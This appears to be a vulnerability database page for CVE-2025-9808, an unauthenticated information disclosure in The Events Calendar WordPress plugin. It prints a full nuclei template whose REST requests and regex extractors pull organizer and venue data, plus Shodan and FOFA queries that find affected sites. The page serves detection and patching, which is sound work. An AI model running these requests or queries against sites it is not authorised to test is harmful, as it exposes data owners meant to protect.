CVE-2025-9808
The Events Calendar <= 6.15.2 - Information Disclosure
mediumseverity
0.8%likelihood of exploitation, next 30 days
58%of all CVEs are less likely
Readycheck to confirm it
The Events Calendar WordPress plugin <= 6.15.2 contains an information disclosure vulnerability caused by REST endpoint exposure, letting unauthenticated attackers extract data about password-protected vendors or venues, exploit requires no authentication.
Impact
Unauthenticated attackers can access sensitive information about password-protected vendors or venues.
Fix
Update to the latest version beyond 6.15.2
How to confirm it
Send: GET {{BaseURL}}/wp-json/tribe/events/v1/organizers ; GET {{BaseURL}}/wp-json/tribe/events/v1/venues
Positive when: status_code == 200 and contains_all(body,"rest_url","total") and contains_any(body,"organizers","venues") and contains(header,"application/json")Run it with nuclei: nuclei -id CVE-2025-9808 -u <target>
The full check
id: CVE-2025-9808
info:
name: The Events Calendar <= 6.15.2 - Information Disclosure
author: zer0p0int
severity: medium
description: |
The Events Calendar WordPress plugin <= 6.15.2 contains an information disclosure vulnerability caused by REST endpoint exposure, letting unauthenticated attackers extract data about password-protected vendors or venues, exploit requires no authentication.
impact: |
Unauthenticated attackers can access sensitive information about password-protected vendors or venues.
remediation: |
Update to the latest version beyond 6.15.2
reference:
- https://www.wiz.io/vulnerability-database/cve/cve-2025-9808
- https://wpscan.com/plugin/the-events-calendar/
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/the-events-calendar
- https://wordpress.org/plugins/the-events-calendar/
- https://nvd.nist.gov/vuln/detail/CVE-2025-9808
metadata:
verified: true
max-request: 2
shodan-query: http.html:"/wp-content/plugins/the-events-calendar/"
fofa-query: body="/wp-content/plugins/the-events-calendar/"
publicwww-query: "/wp-content/plugins/the-events-calendar/"
tags: cve,cve2025,wordpress,wp-plugin,wpscan,the-events-calendar,unauth,vuln
http:
- method: GET
path:
- "{{BaseURL}}/wp-json/tribe/events/v1/organizers"
- "{{BaseURL}}/wp-json/tribe/events/v1/venues"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body,"rest_url","total")'
- 'contains_any(body,"organizers","venues")'
- 'contains(header,"application/json")'
condition: and
extractors:
- type: regex
part: body
name: organizer_data
group: 1
regex:
- '"organizers":\[(.*?)\],"rest_url"'
- type: regex
part: body
name: venue_data
group: 1
regex:
- '"venues":\[(.*?)\],"rest_url"'References
- https://www.wiz.io/vulnerability-database/cve/cve-2025-9808
- https://wpscan.com/plugin/the-events-calendar/
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/the-events-calendar
- https://wordpress.org/plugins/the-events-calendar/
- https://nvd.nist.gov/vuln/detail/CVE-2025-9808
Use this check only on systems you are authorised to test. Where the data comes from